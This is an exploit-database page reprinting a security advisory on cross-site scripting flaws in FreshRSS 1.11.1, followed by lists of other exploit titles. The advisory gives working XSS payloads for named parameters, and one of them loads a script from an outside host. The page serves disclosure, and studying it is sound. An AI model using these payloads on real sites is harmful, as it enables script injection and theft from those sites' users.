Menu

Search for hundreds of thousands of exploits

"FreshRSS 1.11.1 - Cross-Site Scripting"

Author

Exploit author

Netsparker

Platform

Exploit platform

php

Release date

Exploit published date

2018-12-04

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1

Information
--------------------

Advisory by Netsparker
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS
Affected Software: FreshRSS
Affected Versions: 1.11.1
Homepage: https://freshrss.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID : CVE-2018-19782
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-024

Technical Details
--------------------

Blind Cross-site Scripting

URL  : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho.r87.me"></scRipt>  Parameter Name : a
Parameter Type  : GET
Attack Pattern  : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e

Stored Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=error  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>  

Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1  
Parameter Name  : c
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e  

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

12th November 2018- First Contact
28th November 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2019-01-09 "BlogEngine 3.3 - XML External Entity Injection" webapps windows Netsparker
2018-12-04 "FreshRSS 1.11.1 - Cross-Site Scripting" webapps php Netsparker
2014-09-25 "OSClass 3.4.1 - 'index.php' Local File Inclusion" webapps php Netsparker
2013-07-11 "WordPress Plugin miniBB - SQL Injection / Multiple Cross-Site Scripting Vulnerabilities" webapps php Netsparker
2012-10-19 "CMS Mini 0.2.2 - 'index.php' Script Cross-Site Scripting" webapps php Netsparker 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected